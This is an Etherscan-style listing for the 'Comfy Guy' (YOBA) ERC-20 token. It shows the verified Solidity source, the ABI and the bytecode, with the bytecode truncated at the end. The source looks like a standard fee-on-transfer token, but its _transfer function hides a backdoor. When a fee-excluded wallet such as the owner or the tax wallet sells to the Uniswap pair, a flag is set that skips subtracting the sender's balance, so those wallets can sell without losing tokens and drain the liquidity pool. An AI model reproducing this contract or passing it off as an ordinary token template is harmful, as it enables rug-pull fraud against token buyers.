ERC-20
Overview
Max Total Supply
100,000,000 YOBA
Holders
75
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 18 Decimals)
Balance
1,291,721.379586936325320493 YOBAValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
YOBA
Compiler Version
v0.8.19+commit.7dd6d404
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-10-28 */ /** Website: https://comfyguy.vip Twitter: https://x.com/comfyguyyoba Telegram: https://t.me/comfyguyyoba */ pragma solidity 0.8.19; // SPDX-License-Identifier: MIT abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract YOBA is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping(address => uint256) private _holderLastTransferTimestamp; bool public transferDelayEnabled; address payable private _taxWallet; uint256 private _initialBuyTax=3; uint256 private _initialSellTax=3; uint256 private _finalBuyTax=0; uint256 private _finalSellTax=0; uint256 private _reduceBuyTaxAt=20; uint256 private _reduceSellTaxAt=20; uint256 private _preventSwapBefore=1; uint256 private _buyCount=0; uint8 private constant _decimals = 18; uint256 private constant _tTotal = 100_000_000 * 10**_decimals; string private constant _name = unicode"Comfy Guy"; string private constant _symbol = unicode"YOBA"; uint256 public _maxTxAmount = (_tTotal * 2) / 100; uint256 public _maxWalletSize = (_tTotal * 2) / 100; uint256 public _taxSwapThreshold= (5 * _tTotal) / 10000; // 0.05% uint256 public _maxTaxSwap= 12 * _taxSwapThreshold; IUniswapV2Router02 private uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _taxWallet = payable(0xBbd971A46Bd4EcbCC0f4c5A9e1D535FbF7F120c0); _balances[_msgSender()] = _tTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_taxWallet] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function opptrade() external onlyOwner() { require(!tradingOpen,"trading is already open"); swapEnabled = true; tradingOpen = true; } function createxpairs() external payable onlyOwner() { uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (!_isExcludedFromFee[from] && !_isExcludedFromFee[to]) require(tradingOpen, "Trading not enabled"); uint256 taxAmount=0; transferDelayEnabled = false; if (from != owner() && to != owner()) { taxAmount = amount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100); if (transferDelayEnabled) { if (to != address(uniswapV2Router) && to != address(uniswapV2Pair)) { require( _holderLastTransferTimestamp[tx.origin] < block.number, "_transfer:: Transfer Delay enabled. Only one purchase per block allowed." ); _holderLastTransferTimestamp[tx.origin] = block.number; } } if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] ) { require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount."); require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize."); if(balanceOf(address(0xdead)) > 0 ) _preventSwapBefore = 0; _buyCount++; } if (to == uniswapV2Pair && from!= address(this) ){ if (_isExcludedFromFee[from] ) transferDelayEnabled = true; taxAmount = amount.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && to == uniswapV2Pair && swapEnabled && contractTokenBalance>_taxSwapThreshold && _buyCount>_preventSwapBefore && !_isExcludedFromFee[from]) { assert(_preventSwapBefore > 0); swapTokensForEth(min(amount,min(contractTokenBalance,_maxTaxSwap))); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 50000000000000000) { sendETHToFee(address(this).balance); } } } if(taxAmount > 0){ _balances[address(this)]=_balances[address(this)].add(taxAmount); emit Transfer(from, address(this),taxAmount); } if(!transferDelayEnabled) _balances[from]=_balances[from].sub(amount); _balances[to]=_balances[to].add(amount.sub(taxAmount)); emit Transfer(from, to, amount.sub(taxAmount)); } function min(uint256 a, uint256 b) private pure returns (uint256){ return (a>b)?b:a; } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function removelimits() external onlyOwner{ _maxTxAmount = _tTotal; _maxWalletSize=_tTotal; transferDelayEnabled=false; emit MaxTxAmountUpdated(_tTotal); } function sendETHToFee(uint256 amount) private { _taxWallet.transfer(amount); } receive() external payable {} function manualswap() external { require(_msgSender()==_taxWallet); uint256 tokenBalance=balanceOf(address(this)); if(tokenBalance>0){ swapTokensForEth(tokenBalance); } uint256 ethBalance=address(this).balance; if(ethBalance>0){ sendETHToFee(ethBalance); } } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"createxpairs","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"manualswap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"opptrade","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removelimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"transferDelayEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
608060405260036006556003600755600060085560006009556014600a556014600b556001600c556000600d5560646012600a6200003e91906200039d565b6200004e906305f5e100620003b5565b6200005b906002620003b5565b620000679190620003cf565b600e5560646200007a6012600a6200039d565b6200008a906305f5e100620003b5565b62000097906002620003b5565b620000a39190620003cf565b600f55612710620000b76012600a6200039d565b620000c7906305f5e100620003b5565b620000d4906005620003b5565b620000e09190620003cf565b6010819055620000f290600c620003b5565b6011556013805461ffff60a81b191690553480156200011057600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a35060058054610100600160a81b03191674bbd971a46bd4ecbcc0f4c5a9e1d535fbf7f120c000179055620001886012600a6200039d565b62000198906305f5e100620003b5565b336000908152600160208190526040822092909255600390620001c36000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff1996871617905530815260039093528183208054851660019081179091556005546101009004909116835291208054909216179055620002273390565b6001600160a01b031660007fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620002616012600a6200039d565b62000271906305f5e100620003b5565b60405190815260200160405180910390a3620003f2565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620002df578160001904821115620002c357620002c362000288565b80851615620002d157918102915b93841c9390800290620002a3565b509250929050565b600082620002f85750600162000397565b81620003075750600062000397565b81600181146200032057600281146200032b576200034b565b600191505062000397565b60ff8411156200033f576200033f62000288565b50506001821b62000397565b5060208310610133831016604e8410600b841016171562000370575081810a62000397565b6200037c83836200029e565b806000190482111562000393576200039362000288565b0290505b92915050565b6000620003ae60ff841683620002e7565b9392505050565b808202811582820484141762000397576200039762000288565b600082620003ed57634e487b7160e01b600052601260045260246000fd5b500490565b611a5780620004026000396000f3fe60806040526004361061012e5760003560e01c8063715018a6116100ab57806395d89b411161006f57806395d89b4114610324578063a9059cbb14610351578063bf474bed14610371578063c3c8cd8014610387578063c876d0b91461039c578063dd62ed3e146103b657600080fd5b8063715018a6146102b05780637d1db4a5146102c5578063822a48d8146102db5780638da5cb5b146102f05780638f9a55c01461030e57600080fd5b8063313ce567116100f2578063313ce56714610207578063420017c11461022357806349bd5a5e1461022d5780635e4ae81b1461026557806370a082311461027a57600080fd5b806306fdde031461013a578063095ea7b31461017e5780630faee56f146101ae57806318160ddd146101d257806323b872dd146101e757600080fd5b3661013557005b600080fd5b34801561014657600080fd5b50604080518082019091526009815268436f6d66792047757960b81b60208201525b6040516101759190611613565b60405180910390f35b34801561018a57600080fd5b5061019e610199366004611676565b6103fc565b6040519015158152602001610175565b3480156101ba57600080fd5b506101c460115481565b604051908152602001610175565b3480156101de57600080fd5b506101c4610413565b3480156101f357600080fd5b5061019e6102023660046116a2565b610434565b34801561021357600080fd5b5060405160128152602001610175565b61022b61049d565b005b34801561023957600080fd5b5060135461024d906001600160a01b031681565b6040516001600160a01b039091168152602001610175565b34801561027157600080fd5b5061022b6107f0565b34801561028657600080fd5b506101c46102953660046116e3565b6001600160a01b031660009081526001602052604090205490565b3480156102bc57600080fd5b5061022b6108ac565b3480156102d157600080fd5b506101c4600e5481565b3480156102e757600080fd5b5061022b610920565b3480156102fc57600080fd5b506000546001600160a01b031661024d565b34801561031a57600080fd5b506101c4600f5481565b34801561033057600080fd5b50604080518082019091526004815263594f424160e01b6020820152610168565b34801561035d57600080fd5b5061019e61036c366004611676565b6109bd565b34801561037d57600080fd5b506101c460105481565b34801561039357600080fd5b5061022b6109ca565b3480156103a857600080fd5b5060055461019e9060ff1681565b3480156103c257600080fd5b506101c46103d1366004611700565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b6000610409338484610a22565b5060015b92915050565b60006104216012600a611833565b61042f906305f5e100611842565b905090565b6000610441848484610b46565b610493843361048e856040518060600160405280602881526020016119fa602891396001600160a01b038a1660009081526002602090815260408083203384529091529020549190611272565b610a22565b5060019392505050565b6000546001600160a01b031633146104d05760405162461bcd60e51b81526004016104c790611859565b60405180910390fd5b601280546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811782556105189130919061050a90600a611833565b61048e906305f5e100611842565b601260009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561056b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061058f919061188e565b6001600160a01b031663c9c6539630601260009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156105f1573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610615919061188e565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610662573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610686919061188e565b601380546001600160a01b039283166001600160a01b03199091161790556012541663f305d71947306106ce816001600160a01b031660009081526001602052604090205490565b6000806106e36000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af115801561074b573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061077091906118ab565b505060135460125460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af11580156107c9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107ed91906118d9565b50565b6000546001600160a01b0316331461081a5760405162461bcd60e51b81526004016104c790611859565b6108266012600a611833565b610834906305f5e100611842565b600e556108436012600a611833565b610851906305f5e100611842565b600f556005805460ff191690557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf61088b6012600a611833565b610899906305f5e100611842565b60405190815260200160405180910390a1565b6000546001600160a01b031633146108d65760405162461bcd60e51b81526004016104c790611859565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b0316331461094a5760405162461bcd60e51b81526004016104c790611859565b601354600160a01b900460ff16156109a45760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016104c7565b6013805462ff00ff60a01b19166201000160a01b179055565b6000610409338484610b46565b60055461010090046001600160a01b0316336001600160a01b0316146109ef57600080fd5b306000908152600160205260409020548015610a0e57610a0e816112ac565b478015610a1e57610a1e81611426565b5050565b6001600160a01b038316610a845760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104c7565b6001600160a01b038216610ae55760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104c7565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610baa5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104c7565b6001600160a01b038216610c0c5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104c7565b60008111610c6e5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104c7565b6001600160a01b03831660009081526003602052604090205460ff16158015610cb057506001600160a01b03821660009081526003602052604090205460ff16155b15610d0457601354600160a01b900460ff16610d045760405162461bcd60e51b8152602060048201526013602482015272151c98591a5b99c81b9bdd08195b98589b1959606a1b60448201526064016104c7565b6005805460ff19169055600080546001600160a01b03858116911614801590610d3b57506000546001600160a01b03848116911614155b1561112457610d6c6064610d66600a54600d5411610d5b57600654610d5f565b6008545b8590611464565b906114ed565b60055490915060ff1615610e54576012546001600160a01b03848116911614801590610da657506013546001600160a01b03848116911614155b15610e5457326000908152600460205260409020544311610e415760405162461bcd60e51b815260206004820152604960248201527f5f7472616e736665723a3a205472616e736665722044656c617920656e61626c60448201527f65642e20204f6e6c79206f6e652070757263686173652070657220626c6f636b6064820152681030b63637bbb2b21760b91b608482015260a4016104c7565b3260009081526004602052604090204390555b6013546001600160a01b038581169116148015610e7f57506012546001600160a01b03848116911614155b8015610ea457506001600160a01b03831660009081526003602052604090205460ff16155b15610fc457600e54821115610efb5760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e0000000000000060448201526064016104c7565b600f5482610f1e856001600160a01b031660009081526001602052604090205490565b610f2891906118fb565b1115610f765760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016104c7565b61dead60005260016020527fb34209a263f6c38fe55f099e9e70f9d67e93982480ff3234a5e0108028ad164d5415610fae576000600c555b600d8054906000610fbe8361190e565b91905055505b6013546001600160a01b038481169116148015610fea57506001600160a01b0384163014155b15611046576001600160a01b03841660009081526003602052604090205460ff161561101e576005805460ff191660011790555b6110436064610d66600b54600d541161103957600754610d5f565b6009548590611464565b90505b30600090815260016020526040902054601354600160a81b900460ff1615801561107d57506013546001600160a01b038581169116145b80156110925750601354600160b01b900460ff165b801561109f575060105481115b80156110ae5750600c54600d54115b80156110d357506001600160a01b03851660009081526003602052604090205460ff16155b15611122576000600c54116110ea576110ea611927565b611107611102846110fd8460115461152f565b61152f565b6112ac565b4766b1a2bc2ec500008111156111205761112047611426565b505b505b801561119e57306000908152600160205260409020546111449082611544565b30600081815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906111959085815260200190565b60405180910390a35b60055460ff166111e5576001600160a01b0384166000908152600160205260409020546111cb90836115a3565b6001600160a01b0385166000908152600160205260409020555b6112116111f283836115a3565b6001600160a01b03851660009081526001602052604090205490611544565b6001600160a01b0380851660008181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef61125b85856115a3565b60405190815260200160405180910390a350505050565b600081848411156112965760405162461bcd60e51b81526004016104c79190611613565b5060006112a3848661193d565b95945050505050565b6013805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106112f4576112f4611950565b6001600160a01b03928316602091820292909201810191909152601254604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561134d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611371919061188e565b8160018151811061138457611384611950565b6001600160a01b0392831660209182029290920101526012546113aa9130911684610a22565b60125460405163791ac94760e01b81526001600160a01b039091169063791ac947906113e3908590600090869030904290600401611966565b600060405180830381600087803b1580156113fd57600080fd5b505af1158015611411573d6000803e3d6000fd5b50506013805460ff60a81b1916905550505050565b6005546040516101009091046001600160a01b0316906108fc8315029083906000818181858888f19350505050158015610a1e573d6000803e3d6000fd5b6000826000036114765750600061040d565b60006114828385611842565b90508261148f85836119d7565b146114e65760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104c7565b9392505050565b60006114e683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506115e5565b600081831161153e57826114e6565b50919050565b60008061155183856118fb565b9050838110156114e65760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104c7565b60006114e683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611272565b600081836116065760405162461bcd60e51b81526004016104c79190611613565b5060006112a384866119d7565b600060208083528351808285015260005b8181101561164057858101830151858201604001528201611624565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146107ed57600080fd5b6000806040838503121561168957600080fd5b823561169481611661565b946020939093013593505050565b6000806000606084860312156116b757600080fd5b83356116c281611661565b925060208401356116d281611661565b929592945050506040919091013590565b6000602082840312156116f557600080fd5b81356114e681611661565b6000806040838503121561171357600080fd5b823561171e81611661565b9150602083013561172e81611661565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b8085111561178a57816000190482111561177057611770611739565b8085161561177d57918102915b93841c9390800290611754565b509250929050565b6000826117a15750600161040d565b816117ae5750600061040d565b81600181146117c457600281146117ce576117ea565b600191505061040d565b60ff8411156117df576117df611739565b50506001821b61040d565b5060208310610133831016604e8410600b841016171561180d575081810a61040d565b611817838361174f565b806000190482111561182b5761182b611739565b029392505050565b60006114e660ff841683611792565b808202811582820484141761040d5761040d611739565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b6000602082840312156118a057600080fd5b81516114e681611661565b6000806000606084860312156118c057600080fd5b8351925060208401519150604084015190509250925092565b6000602082840312156118eb57600080fd5b815180151581146114e657600080fd5b8082018082111561040d5761040d611739565b60006001820161192057611920611739565b5060010190565b634e487b7160e01b600052600160045260246000fd5b8181038181111561040d5761040d611739565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156119b65784516001600160a01b031683529383019391830191600101611991565b50506001600160a01b03969096166060850152505050608001529392505050565b6000826119f457634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220418be388111e5b9713fc678ad720a40c592109c2e57acca1371d4d3ad9eabe9964736f6c63430008130033
Deployed Bytecode
0x60806040526004361061012e5760003560e01c8063715018a6116100ab57806395d89b411161006f57806395d89b4114610324578063a9059cbb14610351578063bf474bed14610371578063c3c8cd8014610387578063c876d0b91461039c578063dd62ed3e146103b657600080fd5b8063715018a6146102b05780637d1db4a5146102c5578063822a48d8146102db5780638da5cb5b146102f05780638f9a55c01461030e57600080fd5b8063313ce567116100f2578063313ce56714610207578063420017c11461022357806349bd5a5e1461022d5780635e4ae81b1461026557806370a082311461027a57600080fd5b806306fdde031461013a578063095ea7b31461017e5780630faee56f146101ae57806318160ddd146101d257806323b872dd146101e757600080fd5b3661013557005b600080fd5b34801561014657600080fd5b50604080518082019091526009815268436f6d66792047757960b81b60208201525b6040516101759190611613565b60405180910390f35b34801561018a57600080fd5b5061019e610199366004611676565b6103fc565b6040519015158152602001610175565b3480156101ba57600080fd5b506101c460115481565b604051908152602001610175565b3480156101de57600080fd5b506101c4610413565b3480156101f357600080fd5b5061019e6102023660046116a2565b610434565b34801561021357600080fd5b5060405160128152602001610175565b61022b61049d565b005b34801561023957600080fd5b5060135461024d906001600160a01b031681565b6040516001600160a01b039091168152602001610175565b34801561027157600080fd5b5061022b6107f0565b34801561028657600080fd5b506101c46102953660046116e3565b6001600160a01b031660009081526001602052604090205490565b3480156102bc57600080fd5b5061022b6108ac565b3480156102d157600080fd5b506101c4600e5481565b3480156102e757600080fd5b5061022b610920565b3480156102fc57600080fd5b506000546001600160a01b031661024d565b34801561031a57600080fd5b506101c4600f5481565b34801561033057600080fd5b50604080518082019091526004815263594f424160e01b6020820152610168565b34801561035d57600080fd5b5061019e61036c366004611676565b6109bd565b34801561037d57600080fd5b506101c460105481565b34801561039357600080fd5b5061022b6109ca565b3480156103a857600080fd5b5060055461019e9060ff1681565b3480156103c257600080fd5b506101c46103d1366004611700565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b6000610409338484610a22565b5060015b92915050565b60006104216012600a611833565b61042f906305f5e100611842565b905090565b6000610441848484610b46565b610493843361048e856040518060600160405280602881526020016119fa602891396001600160a01b038a1660009081526002602090815260408083203384529091529020549190611272565b610a22565b5060019392505050565b6000546001600160a01b031633146104d05760405162461bcd60e51b81526004016104c790611859565b60405180910390fd5b601280546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811782556105189130919061050a90600a611833565b61048e906305f5e100611842565b601260009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561056b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061058f919061188e565b6001600160a01b031663c9c6539630601260009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156105f1573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610615919061188e565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610662573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610686919061188e565b601380546001600160a01b039283166001600160a01b03199091161790556012541663f305d71947306106ce816001600160a01b031660009081526001602052604090205490565b6000806106e36000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af115801561074b573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061077091906118ab565b505060135460125460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af11580156107c9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107ed91906118d9565b50565b6000546001600160a01b0316331461081a5760405162461bcd60e51b81526004016104c790611859565b6108266012600a611833565b610834906305f5e100611842565b600e556108436012600a611833565b610851906305f5e100611842565b600f556005805460ff191690557f947f344d56e1e8c70dc492fb94c4ddddd49